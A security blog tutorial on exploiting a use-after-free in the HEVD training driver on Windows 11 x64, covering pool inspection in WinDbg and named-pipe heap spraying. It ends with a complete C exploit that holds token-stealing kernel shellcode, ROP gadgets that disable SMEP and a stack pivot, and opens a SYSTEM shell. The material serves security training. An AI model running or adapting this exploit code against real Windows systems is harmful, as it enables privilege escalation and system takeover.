Post

Windows Kernel Exploitation - HEVD x64 Use-After-Free

This part will look at a Use-After-Free vulnerability in HEVD on Windows 11 x64.

Vulnerability Discovery

We are going to tackle this based on the source instead of the assembly again. There are 4 functions that are interesting for the UAF vulnerability:

  • AllocateUaFObjectNonPagedPool
  • FreeUaFObjectNonPagedPool
  • AllocateFakeObjectNonPagedPool
  • UseUaFObjectNonPagedPool

The general idea is that we allocate an object on the kernel heap (on the non-paged pool, which is an area of memory that can not be paged out) using AllocateUaFObjectNonPagedPool. Then we call FreeUaFObjectNonPagedPool which will free the object. If done correctly, there should be no references to the object left in the kernel – this is however not the case here. On allocate, a global variable g_UseAfterFreeObjectNonPagedPool is set to the address of the object:

1
2
3
4
5
6
7
NTSTATUS AllocateUaFObjectNonPagedPool(VOID) {
    ...
    UseAfterFree = (PUSE_AFTER_FREE_NON_PAGED_POOL) ExAllocatePoolWithTag(NonPagedPool, sizeof(USE_AFTER_FREE_NON_PAGED_POOL), (ULONG)POOL_TAG);
    ...
    g_UseAfterFreeObjectNonPagedPool = UseAfterFree;
    ...  
}

Then when the object gets freed, this reference does not get set to NULL, so it is still pointing to the now freed memory.

1
2
3
4
5
NTSTATUS FreeUaFObjectNonPagedPool(VOID){
    ...
    ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
    ...
}

This in itself would not be a huge issue but this global variable is actually being used by UseUaFObjectNonPagedPool which is running a method called Callback on it:

1
2
3
4
5
6
7
NTSTATUS UseUaFObjectNonPagedPool(VOID) {
    ...
    if (g_UseAfterFreeObjectNonPagedPool->Callback) {
        g_UseAfterFreeObjectNonPagedPool->Callback();
    }
    ...
}

When the global object has been freed and this function is invoked, we would have undefined behavior. One possibility is that another object of the same size could take its place, and then the driver would attempt to call the Callback function on the new object instead (which for a random object will likely fail since its memory layout will be completely different). HEVD has a AllocateFakeObjectNonPagedPool function that conveniently allows us to create a user-controlled object of the same size. There is however the issue of getting it exactly into the spot of the just before freed object – windows randomizes heap allocations so a new allocation could be created anywhere.

Exploitation

Before starting with any exploitation we have to understand where our object is, how big it is and what a replacement object should look like. We also need to find a way to fill the hole with our object which is not straightforward.

We start with some template code that just allocates the object, triggers a breakpoint, and then frees the object again should we let execution continue:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <Windows.h>

#define ALLOCATE_UAF_IOCTL 0x222013
#define FREE_UAF_IOCTL 0x22201B
#define USE_UAF_IOCTL 0x222017

int main() {
    DWORD bytesWritten;
    HANDLE hDriver = CreateFile(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDriver == INVALID_HANDLE_VALUE) {
        printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
        exit(1);
    }    
    
    // Allocate UAF Object
    DeviceIoControl(hDriver, ALLOCATE_UAF_IOCTL, NULL, NULL, NULL, 0, &bytesWritten, NULL);
    // Debug
    DebugBreak();
    // Free UAF Object
    DeviceIoControl(hDriver, FREE_UAF_IOCTL, NULL, NULL, NULL, 0, &bytesWritten, NULL);

    return 0;
}

We saw in the allocate function earlier that it allocates the object in the non-paged pool using ExAllocatePoolWithTag. The tag it uses (here “Hack”) is a way to identify objects in that pool. We can search for all objects tagged this way in the debugger:

1
2
3
4
5
6
7
8
0: kd> !poolused 2 Hack
...
               NonPaged                  Paged
 Tag     Allocs         Used     Allocs         Used

 Hack         1          112          0            0	UNKNOWN pooltag 'Hack', please update pooltag.txt

TOTAL         1          112          0            0

This shows that currently there is exactly one allocation with that tag (the one we just created ourselves). Lets now find the address of that object:

1
2
0: kd> !poolfind Hack -nonpaged
ffffe60269102050 : tag Hack, size      0x60, Nonpaged pool

This works but can take a lot of time. There is an alternative way to let us check the allocations while they happen with ed nt!PoolHitTag 'Hack'. But for now, we are going to stick with the address we just got with poolfind. It shows us that the size of the object is 0x60 (+0x10 bytes header), which means that we later need to find some native windows kernel object that has the same size.

1
2
3
4
5
6
7
0: kd> dq ffffe60269102050 L0xC
ffffe602`69102050  fffff800`31117c58 41414141`41414141
ffffe602`69102060  41414141`41414141 41414141`41414141
ffffe602`69102070  41414141`41414141 41414141`41414141
ffffe602`69102080  41414141`41414141 41414141`41414141
ffffe602`69102090  41414141`41414141 41414141`41414141
ffffe602`691020a0  41414141`41414141 00000000`00414141

We can see that this object is mostly filled with “A”s. Only the first value is a function pointer and this is exactly the callback we identified in the introduction section. If we compare that with the object we can see in the source it matches our assumption:

1
2
3
4
typedef struct _USE_AFTER_FREE_NON_PAGED_POOL {
    FunctionPointer Callback;
    CHAR Buffer[0x54];
} USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;

You might have noticed that the size does not exactly lead to 0x60 when looking at this object (0x54 + 8 = 0x5C). The remaining 4 bytes I assume are padding (we can see they are zero). Now that we know the size we are looking for another kernel object that is suitable for us.

There is some excellent research by Alex Ionescu on Kernel Fengshui which dives into this topic and shows that using CreatePipe and WritePipe allows allocating an almost arbitrary size object (> 0x48) in the non-paged pool. Let’s create such an object and try to find it in memory so we can confirm it has indeed the correct size.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void Error(const char* name) {
    printf("%s Error: %d\n", name, GetLastError());
    exit(-1);
}

typedef struct PipeHandles {
    HANDLE read;
    HANDLE write;
} PipeHandles;

PipeHandles CreatePipeObject() {
    DWORD ALLOC_SIZE = 0x70;
    BYTE uBuffer[0x28]; // ALLOC_SIZE - HEADER_SIZE (0x48)
    HANDLE readPipe = NULL;
    HANDLE writePipe = NULL;
    DWORD resultLength;

    RtlFillMemory(uBuffer, 0x28, 0x41);
    if (!CreatePipe(&readPipe, &writePipe, NULL, sizeof(uBuffer))) {
        Error("CreatePipe");
    }
   
    if (!WriteFile(writePipe, uBuffer, sizeof(uBuffer), &resultLength, NULL)) {
        Error("WriteFile");
    }  
    return PipeHandles{ readPipe, writePipe };
}

After adding the function to create such pipe objects we can now create one in our main function:

1
2
3
4
5
6
7
int main() {
   ...
   PipeHandles pipeHandle = CreatePipeObject();
   printf("[>] Handles: 0x%llx, 0x%llx\n", pipeHandle.read, pipeHandle.write);
   getchar();
   DebugBreak();
}

When we run this, we get the handles to the pipes printed out, allowing us to inspect them:

1
2
C:\Users\xct\Desktop>exploit.exe
[>] Handles: 0xa8, 0xac
1
2
3
4
5
6
7
8
9
10
11
1: kd> !handle 0xa8
PROCESS ffffe6026dceb080
    SessionId: 1  Cid: 18c0    Peb: 27c6f1f000  ParentCid: 10e8
    DirBase: 1ad85d000  ObjectTable: ffff968b91808b00  HandleCount:  43.
    Image: exploit.exe

Handle table at ffff968b91808b00 with 43 entries in use
00a8: Object: ffffe602706bda30  GrantedAccess: 00120189 Entry: ffff968b8f5ff2a0
Object: ffffe602706bda30  Type: (ffffe602696fa7a0) File
    ObjectHeader: ffffe602706bda00 (new version)
        HandleCount: 1  PointerCount: 32768

We can see that it is a file object, that it’s used by our process, and the address it is at. Let’s inspect the memory further:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1: kd> !address ffffe602706bda30
...
Usage:                  
Base Address:           ffffcb8a`6b5d5000
End Address:            fffff780`00000000
Region Size:            00002bf5`94a2b000
VA Type:                SystemRange

1: kd> !pool ffffe602706bda30
Pool page ffffe602706bda30 region is Nonpaged pool
 ffffe602706bd050 size:  190 previous size:    0  (Allocated)  File
 ffffe602706bd1e0 size:  190 previous size:    0  (Allocated)  File
 ffffe602706bd370 size:  190 previous size:    0  (Free)       File
 ffffe602706bd500 size:  190 previous size:    0  (Allocated)  File
 ffffe602706bd690 size:  190 previous size:    0  (Allocated)  File
 ffffe602706bd820 size:  190 previous size:    0  (Allocated)  File
*ffffe602706bd9b0 size:  190 previous size:    0  (Allocated) *File
		Pooltag File : File objects
 ffffe602706bdb40 size:  190 previous size:    0  (Allocated)  File
 ffffe602706bdcd0 size:  190 previous size:    0  (Allocated)  File
 ffffe602706bde60 size:  190 previous size:    0  (Allocated)  File

We can see here that the object is in the nonpaged pool but its size is 0x190 which is not quite what we are looking for so what is going on? We are not really looking for the file object itself but for the DATA_ENTRY object that is created, which is an undocumented structure. These objects will be allocated with a tag: “NpFr”. Let’s try to find it:

1
2
3
4
5
6
7
8
9
10
11
12
13
1: kd> !poolused 2 NpFr
Using a machine size of 1ffe4d pages to configure the kd cache
..
 Sorting by NonPaged Pool Consumed

               NonPaged                  Paged
 Tag     Allocs         Used     Allocs         Used

 NpFr         1          112          0            0	DATA_ENTRY records (read/write buffers) , Binary: npfs.sys

TOTAL         1          112          0            0
1: kd> !poolfind NpFr -nonpaged
...

There is again exactly one, which we just allocated. Finding the exact object in memory turned out to be a bit difficult since poolfind did not succeed to find it on my end. The general structure of this DATA_ENTRY object looks like this, followed by the actual data:

1
2
3
4
5
6
7
8
typedef struct _NP_DATA_QUEUE_ENTRY {
    LIST_ENTRY QueueEntry;
    ULONG DataEntryType;
    PIRP Irp;
    ULONG QuotaInEntry;
    PSECURITY_CLIENT_CONTEXT ClientSecurityContext;
    ULONG DataSize;
} NP_DATA_QUEUE_ENTRY, *PNP_DATA_QUEUE_ENTRY;

These DATA_ENTRY objects will be placed on the nonpaged pool and we can control their size which solves part of what we are trying to achieve. The next problem we have is that when we trigger the free in the driver and create a “hole” in memory, we can not control what is going to fill that hole – after all the kernel is very busy and could place some other object that fits there. Even if we were faster than the kernel to allocate an object of the correct size, we would still not be guaranteed to fill the spot that we freed since heap allocations on modern windows are randomized.

A way to get around that is to spray the heap with a lot of these holes, surrounded by allocations we control. This gives us a good chance to get our UAF object into one of those. After allocating and freeing the object via the vulnerable driver we allocate a huge amount of fake objects (fake objects being the ones we can create via AllocateFakeObjectNonPagedPool) to have a good chance to fill the exact hole the UAF object left.

To summarize:

  • Allocate a lot of DATA_ENTRY objects (CreatePipe + WriteFile)
  • Free every 2nd DATA_ENTRY object to create a lot of holes
  • Allocate the UAF object and Free it (this will likely happen in one of the holes we just created)
  • Allocate a lot of fake objects to fill every hole (including the one we have to hit to successfully exploit it)

This leads us to the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#include <stdio.h>
#include <Windows.h>
#include <vector>

#define QWORD ULONGLONG

#define ALLOCATE_UAF_IOCTL 0x222013
#define FREE_UAF_IOCTL 0x22201B
#define USE_UAF_IOCTL 0x222017
#define FAKE_OBJECT_IOCTL 0x22201F

void Error(const char* name) {
    printf("%s Error: %d\n", name, GetLastError());
    exit(-1);
}

typedef struct PipeHandles {
    HANDLE read;
    HANDLE write;
} PipeHandles;

PipeHandles CreatePipeObject() {
    DWORD ALLOC_SIZE = 0x70;
    BYTE uBuffer[0x28]; // ALLOC_SIZE - HEADER_SIZE (0x48)
    BOOL res = FALSE;
    HANDLE readPipe = NULL;
    HANDLE writePipe = NULL;
    DWORD resultLength;

    RtlFillMemory(uBuffer, 0x28, 0x41);
    if (!CreatePipe(&readPipe, &writePipe, NULL, sizeof(uBuffer))) {
        Error("CreatePipe");
    }

    if (!WriteFile(writePipe, uBuffer, sizeof(uBuffer), &resultLength, NULL)) {
        Error("WriteFile");
    }
    return PipeHandles{ readPipe, writePipe };
}

int main() {
    DWORD bytesWritten;
    HANDLE hDriver = CreateFile(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDriver == INVALID_HANDLE_VALUE) {
        Error("CreateFile");
    }

    printf("[>] Spraying objects for pool defragmentation..\n");
    std::vector<PipeHandles> defragPipeHandles;
    for (int i = 0; i < 20000; i++) {
        PipeHandles pipeHandle = CreatePipeObject();
        defragPipeHandles.push_back(pipeHandle);
    }

    printf("[>] Spraying objects in sequential allocation..\n");
    std::vector<PipeHandles> seqPipeHandles;
    for (int i = 0; i < 60000; i++) {
        PipeHandles pipeHandle = CreatePipeObject();
        seqPipeHandles.push_back(pipeHandle);
    }

    printf("[>] Creating object holes..\n");
    for (int i = 0; i < seqPipeHandles.size(); i++) {
        if (i % 2 == 0) {
            PipeHandles handles = seqPipeHandles[i];
            CloseHandle(handles.read);
            CloseHandle(handles.write);
        }
    }

    printf("[>] Allocating UAF Object\n");
    if (!DeviceIoControl(hDriver, ALLOCATE_UAF_IOCTL, NULL, NULL, NULL, 0, &bytesWritten, NULL)) {
        //Error("Allocate UAF Object");
    }

    printf("[>] Freeing UAF Object\n");
    if (!DeviceIoControl(hDriver, FREE_UAF_IOCTL, NULL, NULL, NULL, 0, &bytesWritten, NULL)) {
        Error("Free UAF Object");
    }

    printf("[>] Filling holes with custom objects..\n");
    BYTE uBuffer[0x60] = { 0 };
    *(QWORD*)(uBuffer) = (QWORD)(0xdeadc0de);
    for (int i = 0; i < 30000; i++) {
        if (!DeviceIoControl(hDriver, FAKE_OBJECT_IOCTL, uBuffer, sizeof(uBuffer), NULL, 0, &bytesWritten, NULL)) {
            Error("Allocate Custom Object");
        }
    }

    printf("[>] Triggering callback on UAF object..\n");
    if (!DeviceIoControl(hDriver, USE_UAF_IOCTL, NULL, NULL, NULL, 0, &bytesWritten, NULL)) {
        Error("Use UAF Object");
    }
    return 0;
}

Running the updated PoC shows that this indeed works and places 0xdeadc0de in RIP:

1
2
Access violation - code c0000005 (!!! second chance !!!)
00000000`deadc0de ??              ???

At this point exploiting the vulnerability is exactly the same process as in the last post about the type-confusion vulnerability. We pivot the stack to a location we control and make sure it’s paged in. Then we use ROP to disable SMEP & jump to our shellcode. For details about how to do this please refer to the last post – we use exactly the same gadgets & shellcode. The updated PoC looks as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
#include <stdio.h>
#include <Windows.h>
#include <vector>
#include <winternl.h>
#include <Psapi.h>

#define QWORD ULONGLONG

#define ALLOCATE_UAF_IOCTL 0x222013
#define FREE_UAF_IOCTL 0x22201B
#define USE_UAF_IOCTL 0x222017
#define FAKE_OBJECT_IOCTL 0x22201F

BYTE sc[256] = {
  0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48,
  0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x89, 0xc0, 0x4d,
  0x8b, 0x80, 0x48, 0x04, 0x00, 0x00, 0x49, 0x81, 0xe8, 0x48,
  0x04, 0x00, 0x00, 0x4d, 0x8b, 0x88, 0x40, 0x04, 0x00, 0x00,
  0x49, 0x83, 0xf9, 0x04, 0x75, 0xe5, 0x49, 0x8b, 0x88, 0xb8,
  0x04, 0x00, 0x00, 0x80, 0xe1, 0xf0, 0x48, 0x89, 0x88, 0xb8,
  0x04, 0x00, 0x00, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01,
  0x00, 0x00, 0x66, 0x8b, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x66,
  0xff, 0xc1, 0x66, 0x89, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x48,
  0x8b, 0x90, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68,
  0x01, 0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00,
  0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xaa,
  0x58, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48,
  0x0f, 0x07, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};

void Error(const char* name) {
    printf("%s Error: %d\n", name, GetLastError());
    exit(-1);
}

typedef struct PipeHandles {
    HANDLE read;
    HANDLE write;
} PipeHandles;

PipeHandles CreatePipeObject() {
    DWORD ALLOC_SIZE = 0x70;
    BYTE uBuffer[0x28]; // ALLOC_SIZE - HEADER_SIZE (0x48)
    BOOL res = FALSE;
    HANDLE readPipe = NULL;
    HANDLE writePipe = NULL;
    DWORD resultLength;

    RtlFillMemory(uBuffer, 0x28, 0x41);
    if (!CreatePipe(&readPipe, &writePipe, NULL, sizeof(uBuffer))) {
        Error("CreatePipe");
    }

    if (!WriteFile(writePipe, uBuffer, sizeof(uBuffer), &resultLength, NULL)) {
        Error("WriteFile");
    }
    return PipeHandles{ readPipe, writePipe };
}

QWORD getBaseAddr(LPCWSTR drvName) {
    LPVOID drivers[512];
    DWORD cbNeeded;
    int nDrivers, i = 0;
    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
        WCHAR szDrivers[512];
        nDrivers = cbNeeded / sizeof(drivers[0]);
        for (i = 0; i < nDrivers; i++) {
            if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
                if (wcscmp(szDrivers, drvName) == 0) {
                    return (QWORD)drivers[i];
                }
            }
        }
    }
    return 0;
}

int main() {
    DWORD bytesWritten;
    HANDLE hDriver = CreateFile(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDriver == INVALID_HANDLE_VALUE) {
        Error("CreateFile");
    }

    printf("[>] Spraying objects for pool defragmentation..\n");
    std::vector<PipeHandles> defragPipeHandles;
    for (int i = 0; i < 20000; i++) {
        PipeHandles pipeHandle = CreatePipeObject();
        defragPipeHandles.push_back(pipeHandle);
    }

    printf("[>] Spraying objects in sequential allocation..\n");
    std::vector<PipeHandles> seqPipeHandles;
    for (int i = 0; i < 60000; i++) {
        PipeHandles pipeHandle = CreatePipeObject();
        seqPipeHandles.push_back(pipeHandle);
    }

    printf("[>] Creating object holes..\n");
    for (int i = 0; i < seqPipeHandles.size(); i++) {
        if (i % 2 == 0) {
            PipeHandles handles = seqPipeHandles[i];
            CloseHandle(handles.read);
            CloseHandle(handles.write);
        }
    }

    printf("[>] Allocating UAF Object\n");
    if (!DeviceIoControl(hDriver, ALLOCATE_UAF_IOCTL, NULL, NULL, NULL, 0, &bytesWritten, NULL)) {
        //Error("Allocate UAF Object");
    }

    printf("[>] Freeing UAF Object\n");
    if (!DeviceIoControl(hDriver, FREE_UAF_IOCTL, NULL, NULL, NULL, 0, &bytesWritten, NULL)) {
        Error("Free UAF Object");
    }

    printf("[>] Filling holes with custom objects..\n");    
    LPVOID shellcode = VirtualAlloc(NULL, 256, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlCopyMemory(shellcode, sc, 256);

    QWORD ntBase = getBaseAddr(L"ntoskrnl.exe");
    QWORD STACK_PIVOT_ADDR = 0x48000000;
    QWORD STACK_PIVOT_GADGET = ntBase + 0x317f70; // mov esp, 0x48000000; add esp, 0x28; ret; 
    QWORD POP_RCX = ntBase + 0x20a386;
    QWORD MOV_CR4_RCX = ntBase + 0x3acd47;
    int index = 0;

    QWORD stackAddr = STACK_PIVOT_ADDR - 0x1000;
    LPVOID kernelStack = VirtualAlloc((LPVOID)stackAddr, 0x14000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!VirtualLock(kernelStack, 0x14000)) {
        Error("VirtualLock");
    }

    RtlFillMemory((LPVOID)STACK_PIVOT_ADDR, 0x28, '\x41');
    QWORD* rop = (QWORD*)((QWORD)STACK_PIVOT_ADDR + 0x28);

    *(rop + index++) = POP_RCX;
    *(rop + index++) = 0x350ef8 ^ 1UL << 20;
    *(rop + index++) = MOV_CR4_RCX;
    *(rop + index++) = (QWORD)shellcode;    
    
    BYTE uBuffer[0x60] = { 0 };
    *(QWORD*)(uBuffer) = (QWORD)(STACK_PIVOT_GADGET);

    for (int i = 0; i < 30000; i++) {
        if (!DeviceIoControl(hDriver, FAKE_OBJECT_IOCTL, uBuffer, sizeof(uBuffer), NULL, 0, &bytesWritten, NULL)) {
            Error("Allocate Custom Object");
        }
    }

    printf("[>] Triggering callback on UAF object..\n");
    if (!DeviceIoControl(hDriver, USE_UAF_IOCTL, NULL, NULL, NULL, 0, &bytesWritten, NULL)) {
        Error("Use UAF Object");
    }
    system("cmd.exe");
    return 0;
}

This gives us a shell as SYSTEM.

Resources

This post is licensed under CC BY 4.0 by the author.